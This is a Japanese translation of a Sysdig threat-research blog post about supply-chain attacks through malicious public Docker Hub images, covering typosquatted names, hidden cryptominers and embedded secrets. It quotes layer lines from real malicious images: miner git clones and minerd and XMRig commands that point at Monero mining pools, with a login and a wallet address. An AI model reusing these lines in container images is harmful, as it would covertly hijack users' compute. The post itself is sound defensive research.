本文の内容は、2022年11月23日にSTEFANO CHIERICIが投稿したブログ(https://sysdig.com/blog/analysis-of-supply-chain-attacks-through-public-docker-images/)を元に日本語に翻訳・再構成した内容となっております。
サプライ チェーン攻撃は目新しいものではありませんが、悪意のある攻撃者が依存する製品のソース コードを変更し、それを自社のソフトウェアで使用するすべての人を危険にさらすという一般的な依存関係の脆弱性に注目が集まったため、過去 1 年間で注目が高まっています。
サプライ チェーン攻撃は目新しいものではありませんが、悪意のある攻撃者が依存する製品のソース コードを変更し、それを自社のソフトウェアで使用するすべての人を危険にさらすという一般的な依存関係の脆弱性に注目が集まったため、過去 1 年間で注目が高まっています。
2020年にセキュリティソフトウェアSolarWindsに対して行われた攻撃は、攻撃者が製品自体にバックドアを隠したこの手法の最近の最も注目を集めた例の1つでした。
ソース コードの依存関係は、攻撃的なサプライ チェーン活動を実行するために使用できる唯一の攻撃ベクトルではありません。コンテナーは近年非常に人気のある攻撃ベクトルになっています。コンテナー イメージは移植可能なように設計されているため、1 人の開発者が別の個人とコンテナーを共有するのは非常に簡単です。
コンテナ レジストリを展開するためのソース コードを提供するオープン ソース プロジェクトがいくつかあり、開発者がコンテナ イメージを共有するための無料アクセス コンテナ レジストリもいくつかあります。Docker Hub は、最も人気のある無料のパブリック コンテナ レジストリです。このレジストリには、必要なソフトウェアがすべてインストールおよび構成された、ビルド済みのコンテナ イメージを保存できるという大きな利点があります。これらの機能により、多くの時間と労力を節約できるため、開発者にとってこれらのコンテナを活用することは非常に魅力的です。
攻撃者はこの利点を認識しており、悪意のあるペイロードを含むイメージを作成する可能性があります。
その後、ユーザーは「docker pull <image>」コマンドを実行して、コンテナを非常に迅速に起動できます。攻撃者による誤った構成やマルウェアは、ユーザーのマシンまたはユーザーがワークロードを展開しているクラウド インスタンスにインストールされる可能性があります。Docker Hub のダウンロードとインストールは不透明であるため、ユーザーはダウンロード前にマニフェスト (つまり Dockerfile) を検査して、ソースが正当であり、イメージがクリーンであることを確認する必要があります。
Sysdig 脅威調査チームは、Docker Hub のコンテナ イメージにどのような悪意のあるペイロードが隠れているかを理解するために、250,000 を超える Linux イメージの分析を実施しました。
この記事は、2022 年クラウドネイティブ脅威レポートの一部です。
Dockerハブ
Docker Hub は、世界中の誰もが Docker コンテナ イメージを無料でダウンロード、作成、保存、デプロイできるクラウドベースのイメージ リポジトリです。Docker Hub では、オープン ソース イメージ リポジトリへのアクセスを提供するだけでなく、ユーザーがプライベート リポジトリを作成して個人のイメージを保存することもできます。
Docker Hub は、ベスト プラクティスが確実に遵守されるように Docker ライブラリ プロジェクトによってレビューおよび公開された公式イメージを提供し、明確なドキュメントと定期的な更新を提供します。また、Docker Hub は Docker Verified Publisher Program を通じて独立系ソフトウェア ベンダー (ISV) を支援します。このプログラムに参加している開発ツール ベンダーは、Verified Publishers によって署名されたイメージを使用して、Docker Hub を通じて信頼できる Docker 化されたコンテンツを配布できるため、ユーザーが悪意のあるコンテンツをダウンロードする可能性が低くなります。
2022 Sysdig クラウドネイティブ セキュリティおよび使用状況レポートの統計を見ると、プルされたイメージの 61% がパブリック リポジトリからのものであり、2021 年から 15% 増加しています。これは、パブリック リポジトリが提供する柔軟性などの機能がユーザーから高く評価されていることを意味しますが、同時に、悪意のあるイメージにさらされるリスクも高まります。
タイポスクワッティング、クリプトマイナー、キー
Sysdig 脅威調査チームは、Docker Hub で最近更新されたイメージに関する情報を抽出して収集し、それらのイメージに異常または悪意があるかどうかを判断する分類システムを構築しました。
チームは、シークレット、IP、URL などの情報を抽出し、特定の画像が悪意のあるものかどうかを評価しました。これを多数の画像に対して実行するために、抽出と検証のプロセスを自動化し、スケーラビリティを確保しました。このアプローチにより、数十万枚の画像から抽出されたすべての情報を迅速に分析できるようになりました。Sysdig TRT は、複数のオープンソース ツールとサービスを使用して、IP と URL が悪意のあるものかどうかを判断しました。
この分析では、数か月にわたって 25 万を超える Linux イメージを分析しましたが、公式イメージや検証済みイメージは除外され、世界中のユーザーがアップロードした公開イメージに限定されていました。
公開レジストリ内の侵害された画像
Sysdig 脅威調査チームは、いくつかのカテゴリに基づいて悪意のあるイメージを収集しました。この分析では、「悪意のある IP/ドメイン」と「シークレット」という 2 つの主要カテゴリに焦点を当てました。どちらも、Docker Hub でパブリック イメージをダウンロードしてデプロイするユーザーにとって脅威となり、環境を高いリスクにさらす可能性があります。
以下のグラフは、悪意があると特定された 1,652 枚の画像すべてを、レイヤーに含まれる悪意のあるコンテンツの種類別に分類して示しています。
サプライチェーン攻撃の分析
予想通り、クリプトマイニングイメージが最も一般的な悪意のあるイメージであることがわかります。しかし、レイヤーに埋め込まれたシークレットは2番目に多く、シークレット管理に関する根強い課題が浮き彫りになっています。シークレットは、意図せずして不適切なコーディングを行うことでイメージに埋め込まれることもあれば、脅威者が意図的に行うこともあります。SSHキーやAPIキーをコンテナに埋め込むことで、攻撃者はコンテナがデプロイされた時点でアクセスすることができます。認証情報の偶発的な漏洩を防ぐため、機密データスキャンツールは、開発サイクルの一部としてユーザーに警告することができます。
レイヤーにシークレットが埋め込まれているイメージは、悪意のあるイメージの大部分を占めています。Sysdig TRTは、以下のグラフに示すように、漏えいしたシークレットの種類に基づいて、それらのイメージをサブカテゴリに分類しました。
サプライチェーン攻撃の分析
Sysdig TRTは、コンテナイメージに埋め込まれた公開キーは、不正な用途に展開される可能性が高いため、SSHキーのカテゴリーにも含めています。例えば、公開キーをリモートサーバーにアップロードすると、対応するシークレットキーの所有者はSSH経由でシェルを開いてコマンドを実行できるようになり、バックドアを埋め込むのと同じようなことが可能になります。
また、他のカテゴリーに属するシークレットキーは、レイヤー内で一般にアクセス可能であるため、誰でも異なるサービスやプラットフォームで認証できるようになる可能性があります。
正規のソフトウェアに見せかけた悪意のあるイメージ
Docker Hubの調査中に、Sysdig TRTは、ユーザーを騙してダウンロードしてデプロイさせるために、人気のあるオープンソースソフトウェアとして表示されるイメージ名を発見しました。この行為はtyposquattingとして知られており、正規の公式イメージであるかのように装いながら、そのレイヤーの中に何か悪意のあるものを隠しているのです。
以下のイメージは、一般的なサービスを提供する正規のイメージとして名付けられていますが、その代わりに暗号通貨をマイニングする仕組みが隠されています。不注意なユーザーは、意図した公式イメージではなく、これらのイメージの1つを誤ってインストールしてしまうことがあります。このようなミスは、ブログやフォーラムからコードや設定をコピー&ペーストするような、クラウドソーシングの知識を利用する際に最もよく起こります。
Malicious images that mimic legitimate software
We can confirm that these images are cryptomining by inspecting the layers, in fact some of these layers are:
…cut
/bin/sh -c git clone https://github.com/OhGodAPet/cpuminer-multi
…cut
ENTRYPOINT ["/bin/minerd" "-a" "cryptonight" "-o" "stratum+tcp://xmr.pool.minergate.com:45560" "-u" "[email protected]" "-p" "x" "-t" "1"]
You can explore the layers of an image directly on Docker Hub. For example, the ynprpagamentitk/liferay layer can be accessed at this URL :
興味深いことに、これらのイメージは異なるユーザーによって公開されていますが、すべて同じレイヤーが含まれています。つまり、これらは同じ脅威アクターに属しているか、攻撃者のプレイブックに従っている可能性が高いことを意味します。また、これらのユーザーは 1 つのイメージのみを公開しているため、この脅威の背後にいるアクターを追跡することは困難です。前のレイヤーの最初のレイヤーでクローンされたリポジトリはもう存在しませんが、その名前はそれがマイナーであったことを強く示唆しています。また、Github ユーザーのOhGodAPetは現在もアクティブで、複数のマイナー リポジトリをフォークしています。
前のレイヤーの最後に、悪意のあるイメージは、マイナーの URL「stratum+tcp://xmr.pool.minergate.com:45560」を含むいくつかのパラメータを使用して「minerd」バイナリを実行します。
各画像のダウンロード数を見ると、何百人ものユーザーが、自分たちがマイナーだとは知らずに、正規の画像だと思って騙されてダウンロードしていたことがわかります。
Sysdig TRT は、2022 年 7 月 31 日に Docker Hub 上で、特に偽装したイメージのみをアップロードしていた別のユーザー vibersastra を発見しました。
正規のソフトウェアを装った悪質な画像
レイヤーを見ると、画像が XMRig マイナー ツールをダウンロードし、それを使用して所有者のウォレット用に Monero をマイニングしていることがわかります。
…カット
RUN /bin/sh -c git clone --branch "v6.17.0" https://github.com/xmrig/xmrig # buildkit
…カット
RUN /bin/sh -c chmod +x /xmrig/build/xmrig.sh # buildkit
…カット
CMD ["--url=pool.hashvault.pro:80" "--user=88XgkSPJV9u28F4SJQtdW6U46RKDHB36aTzeM2f1yWsxTcX8QuSPDbHU1TTXChYpBeh9McphG2GYN77Lhu7jtfvp3HVytgc.featuring" "--algo=rx/0" "--pass=x" "-t 4"]
緩和策
コンテナ イメージはもはや理論上のリスクではなく、現実的な攻撃ベクトルであることは明らかです。Sysdig TRT で説明されている悪意のある攻撃者が使用する手法は、特にクラウドとコンテナのワークロードをターゲットにしています。このようなワークロードを展開する組織は、クラウドを標的とした攻撃を軽減できる適切な防御および検出セキュリティ対策を確実に実施する必要があります。
この研究により、Sysdig 脅威研究チームは、SHA-256 ダイジェストに基づいて、既知の悪意のあるコンテナ イメージのフィードを作成できるようになりました。このフィードを使用すると、Sysdig のお客様は、これらのコンテナが環境内で見つかった場合に警告を発し、適切な修復措置を講じることができます。既知の悪意のあるコンテナが環境に現れた場合は、セキュリティ チームに通知しながら、すぐに強制終了、一時停止、または停止することができます。また、Sysdig TRT フィードをアドミッション コントローラーに統合して、そのダイジェストに基づくイメージの展開を防ぐこともできます。
最後の言葉
現在使用されているソフトウェアの多くは、他のソフトウェア パッケージに大きく依存しています。これらの依存関係の起源は非常に多様で、大企業によって作成およびサポートされているものもあれば、プロジェクトをサポートしていない可能性のあるあまり知られていない組織によって開発されたものもあります。
コード共有のコンセプトはコンテナにも広がり、コンテナベースの作品は Docker Hub などのサイトで簡単に共有できるようになりました。これにより、プラットフォーム全体のテストと展開がはるかに簡単になりましたが、同時に悪意のある使用のリスクも高まりました。脅威アクターは、ユーザーがそれをダウンロードして自分のインフラストラクチャで実行することを期待して、共有コンテナにマルウェアを仕掛けています。インストールされるマルウェアは、暗号通貨マイナーからバックドア、自動データ抽出ツールまで多岐にわたります。
組織のコンテナ環境で何が起こっているかを理解し、監視することは、これまで以上に重要になっています。
さらに詳しく知りたいですか? 2022 年クラウドネイティブ脅威レポートの完全版をダウンロードしてください。